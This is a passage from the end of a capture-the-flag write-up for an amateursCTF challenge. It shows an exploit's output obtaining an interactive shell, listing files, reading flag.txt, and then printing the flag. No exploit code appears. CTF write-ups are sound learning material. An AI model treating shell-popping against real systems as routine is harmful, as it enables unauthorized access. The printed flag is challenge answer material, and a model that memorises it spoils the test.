[5] => depart
>>>
[+] Popping a shell...
[*] Switching to interactive mode
$ ls
flag.txt
lib
run
$ pwd
/app
$ cat flag.txt
amateursCTF{did_you_have_fun?}

Definitely had a lot of fun while solving this challenge!

Flag

amateursCTF{did_you_have_fun?}

This post is licensed under CC BY 4.0 by the author.